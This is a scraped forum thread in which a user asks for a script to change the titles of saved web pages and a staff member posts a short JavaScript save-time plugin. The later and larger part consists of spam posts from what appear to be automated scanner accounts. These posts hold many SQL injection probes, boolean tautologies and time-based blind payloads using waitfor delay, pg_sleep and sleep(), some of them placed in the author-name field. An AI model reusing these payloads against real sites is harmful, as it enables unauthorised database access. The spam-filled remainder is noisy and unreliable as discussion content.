Could you kinldy help code a script?

Author Message
surfactant 12/19/2012 12:16 am
I need the script to modify all the webpages stored in a specific folder in a batchwise way:

1. Deleted the common suffix, e.g. " - Surfactant.com"
2. Add a common prefix, e.g. "2012.12.19 - "

I tried to understand the sample script, but it seems to be a little difficult.

Thanks a lot!
surfactant 12/19/2012 12:18 am
Sorry! I mean "modify titles of all the webpages".
Andrey Filatkin 12/19/2012 05:01 am
Hi!

Inquiry haven't plugins for changing the saved pages. You can modify a page with a plugin only you are saving it.

//MPIQPlugin
//Type=PreSave
//Name=Titler
//Author=anfilat

function MP_PreSave() {
var title, now, prefix, ind;

title = document.title,
ind = title.lastIndexOf('-');
if (ind) {
title = title.substring(0, ind - 1);
}

now = new Date();
prefix = now.getFullYear() + '.' + (now.getMonth() + 1) + '.' + now.getDate() + ' - ';

document.title = prefix + title;
}

Best regards,
Andrey Filatkin
MP Staff
surfactant 12/19/2012 06:20 am
Wonderful!

Thank you so much!
surfactant 12/20/2012 12:42 am
Dear Sir,

Is it possible to find a general plugin to skip ads in a webpage?

I examined the webpage myself and found that, if I remove the content after a string "<li class='comments'>", most ads can be skipped and the stored page would be significantly smaller - one third the orginal size.

If possible, could you kindly also code the pre_save function for the job?

The webpage is:
http://www.businessweek.com/articles/2012-12-10/apples-cook-says-more-macs-will-be-born-in-the-u-dot-s-dot-a-dot

If you think this request is annoying, could you kindly send me an example doing similar stuff?

Thanks!
icfcvnol 03/01/2016 09:03 pm
20
icfcvnol 03/01/2016 09:04 pm
20
icfcvnol 03/01/2016 09:04 pm
20
icfcvnol 03/01/2016 09:04 pm
20
icfcvnol 03/01/2016 09:04 pm
20
icfcvnol 03/01/2016 09:04 pm
20
icfcvnol 03/01/2016 09:04 pm
20
icfcvnol 03/01/2016 09:04 pm
20
icfcvnol 03/01/2016 09:04 pm
20
icfcvnol 03/01/2016 09:04 pm
20
icfcvnol 03/01/2016 09:04 pm
20
icfcvnol 03/01/2016 09:04 pm
20
icfcvnol 03/01/2016 09:04 pm
20
icfcvnol 03/01/2016 09:04 pm
20
icfcvnol 03/01/2016 09:04 pm
20
icfcvnol 03/01/2016 09:04 pm
20
icfcvnol 03/01/2016 09:04 pm
20
icfcvnol 03/01/2016 09:04 pm
20
icfcvnol 03/01/2016 09:04 pm
20
icfcvnol 03/01/2016 09:04 pm
20
icfcvnol 03/01/2016 09:04 pm
20
icfcvnol 03/01/2016 09:04 pm
20
icfcvnol 03/01/2016 09:05 pm
20
icfcvnol 03/01/2016 09:05 pm
20
icfcvnol 03/01/2016 09:05 pm
20
icfcvnol 03/01/2016 09:05 pm
20
icfcvnol 03/01/2016 09:05 pm
20
icfcvnol 03/01/2016 09:05 pm
20
icfcvnol 03/01/2016 09:05 pm
20
icfcvnol 03/01/2016 09:05 pm
20
icfcvnol 03/01/2016 09:05 pm
20
icfcvnol 03/01/2016 09:05 pm
20
jltbenmp 03/01/2016 09:15 pm
20
jltbenmp 03/01/2016 09:15 pm
20
jltbenmp 03/01/2016 09:17 pm
20
jltbenmp 03/01/2016 09:17 pm
20
jltbenmp 03/01/2016 09:17 pm
20
jltbenmp 03/01/2016 09:17 pm
20
jltbenmp 03/01/2016 09:17 pm
20
jltbenmp 03/01/2016 09:17 pm
20
jltbenmp 03/01/2016 09:17 pm
20
jltbenmp 03/01/2016 09:17 pm
20
jltbenmp 03/01/2016 09:17 pm
20
jltbenmp 03/01/2016 09:17 pm
20
jltbenmp 03/01/2016 09:17 pm
20
jltbenmp 03/01/2016 09:17 pm
20
jltbenmp 03/01/2016 09:17 pm
20
jltbenmp 03/01/2016 09:17 pm
20
jltbenmp 03/01/2016 09:17 pm
20
jltbenmp 03/01/2016 09:17 pm
20
jltbenmp 03/01/2016 09:17 pm
20
jltbenmp 03/01/2016 09:17 pm
20
icfcvnol 03/01/2016 09:28 pm
20
icfcvnol 03/01/2016 09:28 pm
20
icfcvnol 03/01/2016 09:28 pm
O8WPrR60
icfcvnol 03/01/2016 09:28 pm
-1 OR 2+455-455-1=0+0+0+1 --
icfcvnol 03/01/2016 09:28 pm
-1 OR 2+618-618-1=0+0+0+1
icfcvnol 03/01/2016 09:28 pm
-1' OR 2+366-366-1=0+0+0+1 --
icfcvnol 03/01/2016 09:31 pm
-1; waitfor delay '0:0:0' --
icfcvnol 03/01/2016 09:31 pm
-1; waitfor delay '0:0:5' --
icfcvnol 03/01/2016 09:31 pm
-1); waitfor delay '0:0:10' --
icfcvnol 03/01/2016 09:31 pm
-1)); waitfor delay '0:0:10' --
icfcvnol 03/01/2016 09:31 pm
1 waitfor delay '0:0:10' --
icfcvnol 03/01/2016 09:31 pm
e7Rzb63l'; waitfor delay '0:0:15' --
icfcvnol 03/01/2016 09:31 pm
PYvk4Byl'); waitfor delay '0:0:15' --
icfcvnol 03/01/2016 09:31 pm
RcTnBTua')); waitfor delay '0:0:5' --
icfcvnol 03/01/2016 09:31 pm
-1;select pg_sleep(5); --
icfcvnol 03/01/2016 09:31 pm
-1);select pg_sleep(5); --
icfcvnol 03/01/2016 09:32 pm
-1));select pg_sleep(10); --
icfcvnol 03/01/2016 09:32 pm
fSCh8kAs';select pg_sleep(10); --
icfcvnol 03/01/2016 09:32 pm
SvqEj4WC');select pg_sleep(15); --
icfcvnol 03/01/2016 09:32 pm
cLdOpbAU'));select pg_sleep(5); --
icfcvnol 03/01/2016 09:32 pm
20
icfcvnol 03/01/2016 09:32 pm
20
icfcvnol 03/01/2016 09:32 pm
bg5rkw1q
icfcvnol 03/01/2016 09:32 pm
-1 OR 2+731-731-1=0+0+0+1 --
icfcvnol 03/01/2016 09:32 pm
-1 OR 2+569-569-1=0+0+0+1
icfcvnol 03/01/2016 09:32 pm
-1' OR 2+323-323-1=0+0+0+1 --
icfcvnol 03/01/2016 09:32 pm
-1' OR 2+525-525-1=0+0+0+1 or 'TTrNeIxn'='
icfcvnol 03/01/2016 09:32 pm
-1" OR 2+443-443-1=0+0+0+1 --
icfcvnol 03/01/2016 09:32 pm
if(now()=sysdate(),sleep(18),0)/*'XOR(if(now()=sysdate(),sleep(18),0))OR'"XOR(if(now()=sysdate(),sleep(18),0))OR"*/
icfcvnol 03/01/2016 09:32 pm
(select(0)from(select(sleep(18)))v)/*'+(select(0)from(select(sleep(18)))v)+'"+(select(0)from(select(sleep(18)))v)+"*/
icfcvnol 03/01/2016 09:32 pm
-1; waitfor delay '0:0:18' --
icfcvnol 03/01/2016 09:32 pm
-1); waitfor delay '0:0:6' --
icfcvnol 03/01/2016 09:32 pm
-1)); waitfor delay '0:0:6' --
icfcvnol 03/01/2016 09:32 pm
1 waitfor delay '0:0:6' --
icfcvnol 03/01/2016 09:32 pm
28MUnAhf'; waitfor delay '0:0:12' --
icfcvnol 03/01/2016 09:32 pm
lyXHZ8iI'); waitfor delay '0:0:12' --
icfcvnol 03/01/2016 09:32 pm
b41mt5yp')); waitfor delay '0:0:12' --
icfcvnol 03/01/2016 09:32 pm
-1;select pg_sleep(12); --
icfcvnol 03/01/2016 09:32 pm
-1);select pg_sleep(18); --
icfcvnol 03/01/2016 09:32 pm
-1));select pg_sleep(18); --
icfcvnol 03/01/2016 09:32 pm
fR0y83qG';select pg_sleep(18); --
icfcvnol 03/01/2016 09:32 pm
9ZQm08GT');select pg_sleep(18); --
icfcvnol 03/01/2016 09:32 pm
vTaUtzNt'));select pg_sleep(6); --
icfcvnol 03/01/2016 09:34 pm
20
icfcvnol 03/01/2016 09:34 pm
20
ZG9dwJNA 03/01/2016 09:34 pm
20
-1 OR 2+963-963-1=0+0+0+1 -- 03/01/2016 09:34 pm
20
-1 OR 2+591-591-1=0+0+0+1 03/01/2016 09:34 pm
20
-1' OR 2+235-235-1=0+0+0+1 -- 03/01/2016 09:34 pm
20
-1' OR 2+336-336-1=0+0+0+1 or 'Wfg3xuFT'=' 03/01/2016 09:34 pm
20
-1" OR 2+995-995-1=0+0+0+1 -- 03/01/2016 09:34 pm
20
if(now()=sysdate(),sleep(15),0)/*'XOR(if(now()=sysdate(),sleep(15),0))OR'"XOR(if(now()=sysdate(),sleep(15),0))OR"*/ 03/01/2016 09:34 pm
20
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/ 03/01/2016 09:34 pm
20
1 waitfor delay '0:0:15' -- 03/01/2016 09:34 pm
20
GBHpaNBG'; waitfor delay '0:0:15' -- 03/01/2016 09:34 pm
20
tijckKM1'); waitfor delay '0:0:5' -- 03/01/2016 09:34 pm
20
MEIED8A3')); waitfor delay '0:0:5' -- 03/01/2016 09:34 pm
20
HZ5a0m7U';select pg_sleep(10); -- 03/01/2016 09:34 pm
20
gUfysv26');select pg_sleep(10); -- 03/01/2016 09:34 pm
20
0NvkCwye'));select pg_sleep(10); -- 03/01/2016 09:34 pm
20
icfcvnol 03/01/2016 09:35 pm
20
icfcvnol 03/01/2016 09:35 pm
20
YpCaI7l4 03/01/2016 09:35 pm
20
-1 OR 2+871-871-1=0+0+0+1 -- 03/01/2016 09:35 pm
20
-1 OR 2+271-271-1=0+0+0+1 03/01/2016 09:35 pm
20
-1' OR 2+339-339-1=0+0+0+1 -- 03/01/2016 09:35 pm
20
-1' OR 2+499-499-1=0+0+0+1 or 'JXM1x93L'=' 03/01/2016 09:35 pm
20
-1" OR 2+816-816-1=0+0+0+1 -- 03/01/2016 09:35 pm
20
if(now()=sysdate(),sleep(18),0)/*'XOR(if(now()=sysdate(),sleep(18),0))OR'"XOR(if(now()=sysdate(),sleep(18),0))OR"*/ 03/01/2016 09:35 pm
20
(select(0)from(select(sleep(18)))v)/*'+(select(0)from(select(sleep(18)))v)+'"+(select(0)from(select(sleep(18)))v)+"*/ 03/01/2016 09:35 pm
20
1 waitfor delay '0:0:18' -- 03/01/2016 09:35 pm
20
dnSUY7s3'; waitfor delay '0:0:6' -- 03/01/2016 09:35 pm
20
BlTwVnhR'); waitfor delay '0:0:6' -- 03/01/2016 09:35 pm
20
SBeMdll1')); waitfor delay '0:0:6' -- 03/01/2016 09:35 pm
20
PJtuw1ei';select pg_sleep(6); -- 03/01/2016 09:35 pm
20
wNneW19M');select pg_sleep(12); -- 03/01/2016 09:35 pm
20
LMfuddOP'));select pg_sleep(12); -- 03/01/2016 09:35 pm
20
icfcvnol 03/01/2016 09:56 pm
20
icfcvnol 03/01/2016 09:56 pm
20
icfcvnol 03/01/2016 09:56 pm
20
icfcvnol 03/01/2016 09:56 pm
20
icfcvnol 03/01/2016 09:56 pm
20
icfcvnol 03/01/2016 09:56 pm
20
icfcvnol 03/01/2016 09:56 pm
20
icfcvnol 03/01/2016 09:56 pm
20
icfcvnol 03/01/2016 09:56 pm
20
icfcvnol 03/01/2016 09:57 pm
20
icfcvnol 03/01/2016 09:57 pm
20
icfcvnol 03/01/2016 09:57 pm
20
icfcvnol 03/01/2016 09:57 pm
20
icfcvnol 03/01/2016 09:57 pm
20
icfcvnol 03/01/2016 09:57 pm
20
icfcvnol 03/01/2016 09:58 pm
20
icfcvnol 03/01/2016 10:01 pm
20
icfcvnol 03/01/2016 10:01 pm
20
icfcvnol 03/01/2016 10:01 pm
20
icfcvnol 03/01/2016 10:01 pm
20
icfcvnol 03/01/2016 10:14 pm
20
icfcvnol 03/01/2016 10:14 pm
20
icfcvnol 03/01/2016 10:14 pm
20
icfcvnol 03/01/2016 10:14 pm
20
icfcvnol 03/01/2016 10:14 pm
20
icfcvnol 03/01/2016 10:14 pm
20
icfcvnol 03/01/2016 10:14 pm
20
icfcvnol 03/01/2016 10:14 pm
20
icfcvnol 03/01/2016 10:14 pm
20
icfcvnol 03/01/2016 10:14 pm
20
icfcvnol 03/01/2016 10:14 pm
20
icfcvnol 03/01/2016 10:14 pm
20
icfcvnol 03/01/2016 10:14 pm
20
icfcvnol 03/01/2016 10:14 pm
20
icfcvnol 03/01/2016 10:14 pm
20
icfcvnol 03/01/2016 10:14 pm
20
icfcvnol 03/01/2016 10:14 pm
20
icfcvnol 03/01/2016 10:14 pm
20
icfcvnol 03/01/2016 10:14 pm
20
icfcvnol 03/01/2016 10:14 pm
20
icfcvnol 03/01/2016 10:14 pm
20
icfcvnol 03/01/2016 10:14 pm
20
icfcvnol 03/01/2016 10:14 pm
20
icfcvnol 03/01/2016 10:14 pm
20
icfcvnol 03/01/2016 10:14 pm
20
icfcvnol 03/01/2016 10:14 pm
20
icfcvnol 03/01/2016 10:14 pm
20
icfcvnol 03/01/2016 10:14 pm
20
icfcvnol 03/01/2016 10:14 pm
20
icfcvnol 03/01/2016 10:14 pm
20
icfcvnol 03/01/2016 10:14 pm
20
icfcvnol 03/01/2016 10:14 pm
20
icfcvnol 03/01/2016 10:14 pm
20
icfcvnol 03/01/2016 10:15 pm
20
icfcvnol 03/01/2016 10:15 pm
20
icfcvnol 03/01/2016 10:15 pm
20
icfcvnol 03/01/2016 10:15 pm
20
icfcvnol 03/01/2016 10:15 pm
20
icfcvnol 03/01/2016 10:15 pm
20
icfcvnol 03/01/2016 10:15 pm
20
icfcvnol 03/01/2016 10:15 pm
20
icfcvnol 03/01/2016 10:15 pm
20
icfcvnol 03/01/2016 10:15 pm
20
icfcvnol 03/01/2016 10:15 pm
20
icfcvnol 03/01/2016 10:15 pm
20
icfcvnol 03/01/2016 10:15 pm
20